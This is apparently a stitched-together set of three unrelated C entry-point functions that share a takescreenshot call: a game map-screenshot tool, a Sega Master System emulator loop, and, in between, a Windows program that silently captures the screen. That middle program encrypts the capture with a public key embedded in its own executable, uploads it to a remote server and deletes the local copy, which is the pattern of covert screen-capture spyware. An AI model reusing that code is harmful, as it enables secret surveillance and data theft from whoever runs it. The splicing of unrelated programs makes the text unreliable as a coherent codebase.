//main main main int main(int argc, char *argv[]) { if(argc != 2) { printf("Usage: screenshot mapfile.map\n"); exit(0); } /* This must occur before any data files are loaded */ Initialize_Paths(); printf("-------------------------------------------------------------------------------\n"); printf(" %s\n", MAPTITLESTRING); printf("-------------------------------------------------------------------------------\n"); printf("\n---------------- startup ----------------\n"); gfx_init(640, 480, false); blitdest = screen; spr_warps[0].init(convertPath("gfx/leveleditor/leveleditor_warp.png"), 255, 0, 255); spr_warps[1].init(convertPath("gfx/leveleditor/leveleditor_warp_preview.png"), 255, 0, 255); spr_warps[2].init(convertPath("gfx/leveleditor/leveleditor_warp_thumbnail.png"), 255, 0, 255); spr_platformarrows[0].init(convertPath("gfx/leveleditor/leveleditor_platform_arrows.png"), 255, 0, 255, 128); spr_platformarrows[1].init(convertPath("gfx/leveleditor/leveleditor_platform_arrows_preview.png"), 255, 0, 255, 128); spr_platformarrows[2].init(convertPath("gfx/leveleditor/leveleditor_platform_arrows_thumbnail.png"), 255, 0, 255, 128); printf("\n---------------- load map ----------------\n"); std::string tileSetPNG[3]; tileSetPNG[0] = convertPath("gfx/packs/Classic/tileset.png"); tileSetPNG[1] = convertPath("gfx/packs/Classic/tileset_medium.png"); tileSetPNG[2] = convertPath("gfx/packs/Classic/tileset_small.png"); g_map.loadTileSet(convertPath("maps/tileset.tls"), tileSetPNG); //Setup Platforms for(short iPlatform = 0; iPlatform < MAX_PLATFORMS; iPlatform++) { g_Platforms[iPlatform].rIcon[0].x = (iPlatform % 6) * 32; g_Platforms[iPlatform].rIcon[0].y = (iPlatform / 6) * 32 + 224; g_Platforms[iPlatform].rIcon[0].w = 32; g_Platforms[iPlatform].rIcon[0].h = 32; g_Platforms[iPlatform].rIcon[1].x = (iPlatform % 4) * 42 + 240; g_Platforms[iPlatform].rIcon[1].y = (iPlatform / 4) * 42 + 174; g_Platforms[iPlatform].rIcon[1].w = 32; g_Platforms[iPlatform].rIcon[1].h = 32; for(short iCol = 0; iCol < MAPWIDTH; iCol++) { for(short iRow = 0; iRow < MAPHEIGHT; iRow++) { g_Platforms[iPlatform].tiles[iCol][iRow] = TILESETSIZE; } } g_Platforms[iPlatform].iVelocity = 4; } szMapName = argv[1]; loadmap(szMapName); takescreenshot(); return 0; }
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow){ //misc vars char currentpath[MAX_PATH] = {0}; //vars for getting public key from exe unsigned char *pubrsakey = NULL; int pubkeylen = 0; //vars for taking the screenshot unsigned char *finalbmpfile = NULL; unsigned char *finalcompressedbmpfile = NULL; int finalcompressedbmpfilelen = 0; int finalbmpfilesize = 0; //vars for data encryption pk_context pk_ctx; char *keypersonalisation = "5T+qDlP1=R1ek?GLqi|=)1O(niSimHBx|2\5QE.DN<7W\"]I@:?uSa#}txXN<9oG6"; char *ivpersonalisation = "J0eeYYCW.`6m;I5[v4|]0NDe1Hx)Co8D u]~9ZC\"x6AESc=a\\/W-e7d1bnMwq,z=]"; unsigned char *aeskey = NULL; unsigned char *aesiv = NULL; unsigned char *encrypteddata = NULL; int encrypteddatalen = 0; unsigned char *pubkeyencrypteddata; unsigned int pubkeyencrypteddatalen = 0; unsigned char keydata[48] = {0}; //vars for hmac char *hmackeypersonalisation = "UGY624Z078'm.34\"|TSUOu\\M4}r!ammvFekes:%48=RmaA\\?SC.UTi8zB)A1a[P:"; unsigned char *hmackey = NULL; unsigned char hmacoutput[64] = {0}; //vars for writing to file DWORD dwBytesWritten = 0; HANDLE hFile = NULL; outputerror(DBG_INFO,"%s\n","main::started"); /* get public key*/ GetModuleFileName(NULL,¤tpath[0],sizeof(currentpath)); pubrsakey = getpublickeyfromself(¤tpath[0],&pubkeylen); if(pubrsakey == NULL){ outputerror(DBG_ERROR,"%s\n","main::failed to get public key"); SecureZeroMemory(currentpath,(sizeof(currentpath)/sizeof(currentpath[0]))); exit(1); } SecureZeroMemory(currentpath,(sizeof(currentpath)/sizeof(currentpath[0]))); /* take screenshot */ if(takescreenshot(&finalbmpfile,&finalbmpfilesize) == 1){ outputerror(DBG_ERROR,"%s\n","main::failed to take screenshot"); SecureZeroMemory(currentpath,(sizeof(currentpath)/sizeof(currentpath[0]))); zfree(finalbmpfile); exit(1); } /* Main logic code generate aes key generate aes iv generate hmac key rsa encrypt(aeskey,aesiv) write encrypted rsa length write encrypted rsa blob encrypt screenshot write encrypted hmac key hmac(encrypted screenshot) write hmac write screenshot send screenshot delete screenshot In case you are wondering why locally save and delete, so that we don't loose screenshots if the sending fails. */ aeskey = generatekey(keypersonalisation,256); aesiv = generatekey(ivpersonalisation,128); hmackey = generatekey(hmackeypersonalisation,256); memcpy_s(keydata,48,aeskey,32); memcpy_s(keydata+32,48,aesiv,16); /* get and parse public key */ pk_ctx = getpubkeycontext(pubrsakey,pubkeylen); if(pk_get_len(&pk_ctx) == 0){ outputerror(DBG_ERROR,"%s\n","main::failed to parse public key"); pk_free(&pk_ctx); SecureZeroMemory(currentpath,(sizeof(currentpath)/sizeof(currentpath[0]))); zfree(finalbmpfile); exit(1); } /* encrypt aes key and iv and write to file */ pubkeyencrypteddatalen = pk_get_len(&pk_ctx); pubkeyencrypteddata = (unsigned char *)malloc(pubkeyencrypteddatalen); SecureZeroMemory(pubkeyencrypteddata,pubkeyencrypteddatalen); pubkeyencrypteddata = rsacrypt(&pk_ctx,keydata,48); if(pubkeyencrypteddata == NULL){ outputerror(DBG_ERROR,"%s\n","main::failed to encrypt aes key + aes iv"); pk_free(&pk_ctx); SecureZeroMemory(aeskey,32); SecureZeroMemory(aesiv,16); SecureZeroMemory(currentpath,(sizeof(currentpath)/sizeof(currentpath[0]))); zfree(finalbmpfile); exit(1); } hFile = CreateFile("screen.enc", GENERIC_WRITE, 0, NULL,CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); WriteFile(hFile,(char *)&pubkeyencrypteddatalen,4,&dwBytesWritten,NULL); WriteFile(hFile,pubkeyencrypteddata,pubkeyencrypteddatalen,&dwBytesWritten,NULL); /* compress screenshot */ outputerror(DBG_INFO,"%s\n","main::compressing screenshot"); finalcompressedbmpfilelen = compressdata(finalbmpfile,finalbmpfilesize,&finalcompressedbmpfile); if(finalcompressedbmpfilelen == 0){ outputerror(DBG_ERROR,"%s\n","main::failed to compress final bmp file"); pk_free(&pk_ctx); SecureZeroMemory(aeskey,32); SecureZeroMemory(aesiv,16); SecureZeroMemory(currentpath,(sizeof(currentpath)/sizeof(currentpath[0]))); zfree(finalbmpfile); zfree(finalcompressedbmpfile); exit(1); } SecureZeroMemory(finalbmpfile,finalbmpfilesize); /* encrypt screenshot */ encrypteddata = encryptaes(aeskey,256,aesiv,finalcompressedbmpfile,finalcompressedbmpfilelen,&encrypteddatalen); if(encrypteddata == NULL){ outputerror(DBG_ERROR,"%s\n","main::failed to encrypt the actual screenshot"); pk_free(&pk_ctx); SecureZeroMemory(currentpath,(sizeof(currentpath)/sizeof(currentpath[0]))); zfree(finalbmpfile); exit(1); } /* encrypt hmac key and write to file*/ SecureZeroMemory(pubkeyencrypteddata,pubkeyencrypteddatalen); pubkeyencrypteddata = rsacrypt(&pk_ctx,hmackey,32); if(pubkeyencrypteddata == NULL){ outputerror(DBG_ERROR,"%s\n","main::failed to encrypt hmac key"); pk_free(&pk_ctx); SecureZeroMemory(aeskey,32); SecureZeroMemory(aesiv,16); SecureZeroMemory(hmackey,32); SecureZeroMemory(finalbmpfile,finalbmpfilesize); SecureZeroMemory(currentpath,(sizeof(currentpath)/sizeof(currentpath[0]))); exit(1); } WriteFile(hFile,pubkeyencrypteddata,pubkeyencrypteddatalen,&dwBytesWritten,NULL); /* calculate hmac(encrypteddata) and write to file */ sha512_hmac(hmackey,32,encrypteddata,encrypteddatalen,hmacoutput,0); WriteFile(hFile,hmacoutput,64,&dwBytesWritten,NULL); /* write encrypted screenshot to file */ WriteFile(hFile,encrypteddata,encrypteddatalen,&dwBytesWritten,NULL); CloseHandle(hFile); /* cleanup */ pk_free(&pk_ctx); SecureZeroMemory(finalbmpfile,finalbmpfilesize); SecureZeroMemory(keydata,48); SecureZeroMemory(aeskey,32); SecureZeroMemory(aesiv,16); SecureZeroMemory(hmackey,32); SecureZeroMemory(finalbmpfile,finalbmpfilesize); free(finalbmpfile); free(finalcompressedbmpfile); free(aeskey); free(aesiv); free(hmackey); free(pubrsakey); free(encrypteddata); free(pubkeyencrypteddata); outputerror(DBG_INFO,"%s\n","main::finished"); /* now we send the file to our server if it works, we delete the file */ if (uploadscreenshot(UPLOAD_SERVER, "screen.enc") == 1){ DeleteFile("screen.enc"); } return 0; }
int main ( int argc, char** argv ) { int done, pause, bookmark; int joypads[NJOYSTICKS]; mastersystem *sms = NULL; appenv *environment = NULL; romspecs *rspecs = NULL; display screen; SDL_version sdlvers; char *romfilename=NULL; int nosound = 0; int codemasters = 0; tmachine machine = UNDEFINED; video_mode vmode = UNDEFINED; screen.fullscreen = 0; screen.scale = DEFAULT_SCALE; screen.minscale = (float)224.0 / 192; #ifndef DEBUG assert(0); #endif environment = getappenv(); initmodules(environment->basedir); log4me_print("-==| %s version %s |==-\n", PACKAGE, VERSION); #ifdef DEBUG log4me_print(" => DEBUG version\n"); #endif readoptions(argc, argv, &romfilename, &screen.fullscreen, &machine, &vmode, &nosound, &screen.scale, &codemasters); SDL_GetVersion(&sdlvers); log4me_print("SDL : %d.%d.%d\n", sdlvers.major, sdlvers.minor, sdlvers.patch); log4me_print("SDL : Video driver (%s)\n", getcurrentvideodriver()); log4me_print("SDL : Rendered driver (%s)\n", getcurrentrendererdriver()); log4me_print("SDL : Audio driver (%s)\n", SDL_GetCurrentAudioDriver()); // Init joypads int i; for(i=0;i<NJOYSTICKS;i++) joypads[i] = input_new_pad(); // Display joypads informations if(input_pad_detected()) { padinfos infos; for(i=0;i<NJOYSTICKS;i++) { if(joypads[i]==NO_JOYPAD) continue; input_pad_getinfos(joypads[i], &infos); log4me_print("SDL : Player %d joystick detected => %s\n", i+1, infos.name); log4me_print("\tButtons : %d, Axis : %d, Hats : %d\n", infos.buttons, infos.axis, infos.hats); } } else log4me_print("SDL : No joystick detected\n"); rspecs = getromspecs(romfilename, machine, vmode, codemasters); machine = getrommachine(rspecs); vmode = getromvideomode(rspecs); assert((machine==JAPAN) || (machine==EXPORT)); assert((vmode==VM_NTSC) || (vmode==VM_PAL)); log4me_print("SMS : Use %s machine with %s video mode\n", machine==EXPORT ? "Export" : "Japan", vmode==VM_PAL ? "PAL" : "NTSC"); switch(getromgameconsole(rspecs)) { case GC_SMS: screen.width = 256; screen.height = 192; screen.margin = DEFAULT_MARGIN; break; case GC_GG: screen.width = 160; screen.height = 144; screen.margin = 0; break; default: assert(0); break; } setvideomode(&screen); sms = ms_init(&screen, rspecs, nosound ? SND_OFF : SND_ON, joypads[0], joypads[1], environment->backup); if(sms==NULL) { log4me_error(LOG_EMU_MAIN, "Unable to allocate and initialize the SMS emulator.\n"); exit(EXIT_FAILURE); } SDL_SetWindowTitle(screen.window, CSTR(sms->romname)); done = pause = bookmark = 0; ms_start(sms); while (!done) { SDL_Event event; while(SDL_PollEvent(&event)) { input_process_event(&event); done |= (event.type==SDL_QUIT); } done |= input_key_pressed(SDL_SCANCODE_ESCAPE); if(input_key_down(SDL_SCANCODE_PAUSE)) { pause ^= 1; ms_pause(sms, pause); } if(input_key_down(SDL_SCANCODE_F9)) takesnapshot(sms, environment->snapshots); if(input_key_down(SDL_SCANCODE_F10)) takescreenshot(sms, environment->screenshots); if(input_key_down(SDL_SCANCODE_F2)) { ms_pause(sms, 1); screen.scale -= 0.2; setvideomode(&screen); ms_pause(sms, 0); } if(input_key_down(SDL_SCANCODE_F3)) { ms_pause(sms, 1); screen.scale += 0.2; setvideomode(&screen); ms_pause(sms, 0); } if(input_key_down(SDL_SCANCODE_F4)) { ms_pause(sms, 1); screen.fullscreen ^= 1; setvideomode(&screen); ms_pause(sms, 0); } #ifdef DEBUG if(input_key_down(SDL_SCANCODE_B)) log4me_print("[BKM] %d\n", bookmark++); if(input_key_down(SDL_SCANCODE_F5)) savetiles(sms, environment->debug); if(input_key_down(SDL_SCANCODE_F6)) tms9918a_toggledisplaypalette(&sms->vdp); #endif if(!ms_ispaused(sms)) ms_execute(sms); } releaseobject(sms); releaseobject(rspecs); for(i=0;i<NJOYSTICKS;i++) input_release_pad(joypads[i]); releaseobject(environment); return 0; }